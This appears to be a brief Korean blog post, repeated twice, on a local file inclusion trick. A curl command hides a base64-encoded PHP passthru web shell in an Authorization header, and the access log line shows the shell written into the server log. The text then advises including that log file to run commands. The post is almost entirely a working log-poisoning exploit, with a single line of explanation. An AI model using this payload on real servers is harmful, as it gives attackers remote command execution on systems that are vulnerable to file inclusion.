Local File Inclusion – Tricks of the Trade
curl -H "Authorization: Basic PD9waHAgcGFzc3RocnUoJF9HRVRbJ2NtZCddKTsgPz46ZG9lc24ndCBtYXR0ZXI=" http://localhost
10.x.x.x - <?php passthru($_GET['cmd']); ?> [26/Oct/2009:15:40:43 +0900] "GET / HTTP/1.1" 200 5926 "-" "curl/7.15.5 libcurl/7.15.5 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5"
오 이런 트릭도 있었다니..
이렇게 해놓고 로그 파일을 include 하면 된다~
curl -H "Authorization: Basic PD9waHAgcGFzc3RocnUoJF9HRVRbJ2NtZCddKTsgPz46ZG9lc24ndCBtYXR0ZXI=" http://localhost
10.x.x.x - <?php passthru($_GET['cmd']); ?> [26/Oct/2009:15:40:43 +0900] "GET / HTTP/1.1" 200 5926 "-" "curl/7.15.5 libcurl/7.15.5 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5"
오 이런 트릭도 있었다니..
이렇게 해놓고 로그 파일을 include 하면 된다~
덧글